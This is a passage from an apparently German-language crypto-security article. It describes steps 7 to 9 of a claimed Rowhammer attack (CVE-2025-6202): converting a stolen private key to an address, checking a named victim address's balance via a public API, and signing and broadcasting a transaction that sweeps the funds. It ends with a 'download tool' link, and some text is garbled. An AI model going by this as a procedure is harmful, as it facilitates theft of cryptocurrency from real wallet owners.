Dieser Prozess wird in spezialisierten Diensten und Tools für die Kryptoanalyse detailliert beschrieben und wird auch von zahlreichen Softwarebibliotheken für die Arbeit mit Bitcoin-Schlüsseln unterstützt. btcpuzzle

Damit demonstriert dieser Schritt, wie ein Angreifer unter Verwendung standardisierter Betriebsverfahren den erhaltenen HEX-Schlüssel in das weit verbreitete WIF-Compressed-Format für den anschließenden illegalen Zugriff auf digitale Vermögenswerte in einer kompromittierten Bitcoin-Adresse konvertiert.


Schritt 7: Generieren einer Bitcoin-Adresse aus einem privaten Schlüssel

Der wissenschaftliche Prozess der Generierung einer Bitcoin-Adresse (z. B. 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) aus einem privaten Schlüssel umfasst mehrere fundamentale kryptografische Transformationen, die auf dem Elliptische-Kurven-Algorithmus secp256k1 und den in der Bitcoin-Architektur verwendeten Hash-Funktionen basieren.


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

  1. Generieren eines öffentlichen Schlüssels
    • Aus dem privaten Schlüssel kkk (eine 32-Byte-Ganzzahl von 1 bis 2^256) wird der öffentliche Schlüssel K = k⋅GK = k \cdot GK = k⋅G, wobei G der Basispunkt auf der SECP256K1-Kurve ist. Für komprimierte Adressen wird der öffentliche Schlüssel in 33 Bytes mit einem Präfix (0x02 oder 0x03) kodiert, abhängig von der Parität der yyy-Koordinate.
  2. Berechnen des Hashs eines öffentlichen Schlüssels
    • Der öffentliche Schlüssel wird zuerst mit der SHA-256-Funktion gehasht, dann mit der RIPEMD-160-Funktion. Das resultierende 20-Byte-Ergebnis ist der sogenannte Public-Key-Hash (PKH), der den Benutzer eindeutig identifiziert.
  3. Hinzufügen eines Netzwerk-Präfixes
    • Ein Netzwerk-Präfix-Byte (0x00 für Bitcoin-Mainnet) wird zu den PKH-Daten hinzugefügt, um verschiedene Arten von Adressen in verschiedenen Netzwerken zu unterscheiden.
  4. Generieren einer Prüfsumme
    • Zur generierten Zeichenfolge wird eine Prüfsumme hinzugefügt: doppeltes SHA-256 des gesamten vorherigen Ergebnisses, dessen erste 4 Bytes am Ende angehängt werden.
  5. Konvertieren in Base58Check
    • Die resultierende Zeichenfolge wird in die Base58Check-Kodierung konvertiert, eine Zeichenkodierung, die entwickelt wurde, um das Risiko manueller Eingabefehler zu minimieren und die Benutzerfreundlichkeit zu verbessern. Das Ergebnis ist eine Adresszeichenfolge mit 33–34 Zeichen, die für klassische P2PKH-Adressen mit „1“ oder für SegWit/Taproot mit „3/neuer“ beginnt.
  6. Verifizierung
    • Die resultierende Adresse wird mit einem bekannten öffentlichen Wert verglichen (z. B. 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). Bei erfolgreicher Übereinstimmung gilt der Angriff als abgeschlossen, mit vollständiger Kontrolle über die Vermögenswerte an dieser Adresse.

Dieser Prozess ist in modernen Wallets und Bibliotheken vollständig automatisiert, aber die wissenschaftliche Analyse zeigt, dass die Wiederherstellung einer Bitcoin-Adresse mit einem privaten Schlüssel und einer korrekten Implementierung elliptischer Arithmetik einen Bruchteil einer Sekunde dauert, was die architektonische Kontinuität zwischen privaten Daten und dem öffentlichen Identifikator im Netzwerk hervorhebt. generate.mitilena+1

Damit verbindet der Adressgenerierungsschritt den kompromittierten privaten Schlüssel mit seinem digitalen Äquivalent im Bitcoin-Ökosystem und gibt dem Angreifer Zugriff auf die Vermögenswerte der Wallet durch weitere kryptografische Operationen.


Schritt 8: Überprüfung des Guthabens der kompromittierten Bitcoin-Wallet

Die achte Stufe des bösartigen Verfahrens umfasst die Verifizierung der an der kompromittierten Bitcoin-Adresse verfügbaren Vermögenswerte ( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit). Dieser Schritt ist notwendig, um die wirtschaftliche Machbarkeit weiterer Operationen zu bestätigen und den potenziellen Schaden zu bewerten.

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Wissenschaftliche Grundlage des Prozesses

Die Bitcoin-Blockchain-Architektur basiert auf einem öffentlichen verteilten Hauptbuch, das alle mit jeder Adresse verbundenen Transaktionen aufzeichnet. Die Überprüfung des Guthabens einer beliebigen Wallet erfordert keinen privaten Schlüssel oder speziellen Zugriff: Es genügt der Zugriff auf öffentliche API-Endpunkte, Webdienste oder autonome Knoten – zum Beispiel die Insight-REST-API, Blockchain.info, Blockstream oder einen lokalen Bitcoin-Core-Knoten mit RPC-Schnittstelle.

Technische Methoden und Algorithmus

  1. Guthaben-API-Anfrage . Dieses Szenario wird typischerweise durch Zugriff auf die öffentliche REST-API implementiert:
    • Eine HTTP-Anfrage (GET) wird an die API generiert, zum Beispiel https://blockchain.info/rawaddr/{address}oder https://insight.bitpay.com/api/addr/{address}/balance.
    • Das aktuelle Endguthaben der Adresse in Satoshi wird zurückgegeben (1 BTC = 124.904 USD ), das das Skript in BTC konvertiert.
  2. Verifizierung des Fiat-Äquivalents . Das Guthaben kann weiter in den aktuellen Marktwert (USD oder eine andere Währung) umgerechnet werden, indem die Marktdaten-API angefragt oder ein überwachter Wechselkurs verwendet wird.
  3. Systemische automatisierte Ausführung . Der Angriff wird oft als automatisierte Prozedur innerhalb eines Exploits implementiert, was eine sofortige Verifizierung der Kompromittierung und das optimale Timing für den anschließenden Abzug von Geldern ermöglicht.

Wissenschaftliche und praktische Bedeutung

Die Open-Source-Natur von Bitcoin ermöglicht eine einfache Wallet-Überwachung, sodass ein Angreifer das genaue Guthaben einer nicht autorisierten Adresse bestimmen kann (in diesem Beispiel 9.023322989 BTC , was bei einem Kurs von $124.904 pro BTC äquivalent zu $1.127.026,44 ist). Diese Eigenschaft der Bitcoin-Infrastruktur schafft auch zusätzliche Risiken: Der Verlust eines privaten Schlüssels führt nicht nur zu einem Verlust der Kontrolle über Gelder, sondern wird auch sofort für Dritte, einschließlich des Angreifers, vollständig transparent .


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Damit hebt die Guthabenverifizierungsstufe die informationelle Offenheit des Blockchain-Systems hervor und vervollständigt die wissenschaftliche Angriffskette, die die erfolgreiche Kompromittierung kryptografischer Schlüssel mit realem Schaden für den Eigentümer digitaler Vermögenswerte verbindet. Während der Guthabenverifizierungsstufe verwendet der Angreifer öffentliche Blockchain-Explorer-APIs – zum Beispiel die Insight-REST-API oder blockchain.info – um Informationen über den aktuellen Zustand der Gelder in einer kompromittierten Bitcoin-Adresse zu erhalten. Senden Sie einfach eine GET-Anfrage an die API: zum Beispiel https://blockchain.info/rawaddr/15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit , um das Guthaben der Adresse in Satoshi zu erhalten, und konvertieren Sie dann das Ergebnis in BTC. cryptodeep+2

Dieser Prozess ist vollständig transparent und erfordert keinen Besitz des privaten Schlüssels: Die Kenntnis der öffentlichen Adresse ist ausreichend. Die resultierenden Daten ( 9.02332298 BTC ) können mit dem aktuellen Bitcoin-Marktkurs verglichen werden, um den äquivalenten Betrag in USD umzurechnen ( ≈$1.127.026,44 zum Zeitpunkt des Angriffs). Softwaremethoden ermöglichen es, diese Schritte zu automatisieren und in den Angriffsalgorithmus zu integrieren, wodurch die wirtschaftliche Machbarkeit eines weiteren Diebstahls sofort verifiziert wird. habr+1

Aus wissenschaftlicher Analyseperspektive demonstriert die Phase der Saldenprüfung die einzigartige Transparenz des Blockchain-Systems, bei der jede Kompromittierung von Schlüsseln automatisch zum Verlust der Kontrolle über die Gelder führt und sich die Risiken für den Eigentümer bis zum vollständigen Verlust der Vermögenswerte steigern. habr+2


Schritt 9: Erstellen einer bösartigen Transaktion zum Stehlen von Geldern

In der letzten Phase der bösartigen Kampagne initiiert der Angreifer nach erfolgreicher Extraktion des privaten Schlüssels der Bitcoin-Wallet die Erstellung und Verbreitung einer Transaktion auf der Blockchain mit dem Ziel, alle verfügbaren Gelder von der kompromittierten Adresse ( 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit) auf seine kontrollierte Adresse zu übertragen.


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Wissenschaftliche Struktur des Prozesses

Eine Bitcoin-Transaktion ist eine digitale Nachricht, die aus Eingaben (Geldquellen, die der Adresse des Opfers zugeordnet sind), Ausgaben (Zieladressen des Empfängers) und einer digitalen Signatur besteht, die die Autorität des Absenders bescheinigt .

  1. Definition von UTXO (Unspent Outputs)
    • Mithilfe öffentlicher Blockchain-Explorer oder privater Knoten wird eine vollständige Liste der unausgegebenen Transaktionsausgaben (UTXOs) ermittelt, die mit der kompromittierten Adresse verbunden sind. Dies sind die formalen Geldquellen, die von der Adresse gehalten werden.
  2. Transaktionsbildung
    • Der Angreifer generiert programmatisch eine Transaktion und gibt dabei Folgendes an:
      • Alle gefundenen UTXO als Eingaben, um das gesamte Wallet-Guthaben abzuheben;
      • Ihre Bitcoin-Adresse als einzigen Empfänger (Ausgabe);
      • Den Betrag der Provision (Gebühr), der für eine beschleunigte Bestätigung erforderlich ist;
      • Locktime- und Sequenzzeitparameter, falls erforderlich.
  3. Signieren einer Transaktion mit einem privaten Schlüssel
    • Das bösartige Skript verwendet den extrahierten privaten Schlüssel, um die generierte Transaktion digital zu signieren (ECDSA mit secp256k1). Dadurch wird die Autorität zur Verwaltung der Gelder verifiziert.
  4. Übertragung von Transaktionen an das Netzwerk
    • Die fertige signierte Transaktion wird an den Mempool öffentlicher Bitcoin-Knoten gesendet (über die RPC-Schnittstelle, öffentliche APIs oder Wallet-Integration). Typischerweise verwendet der Angreifer mehrere Verteilungspunkte, um die Wahrscheinlichkeit zu erhöhen, dass die Transaktion in einen ecos-Block aufgenommen wird.
  5. Verifizierung durch Miner und Unumkehrbarkeit

      Read more

Tool herunterladen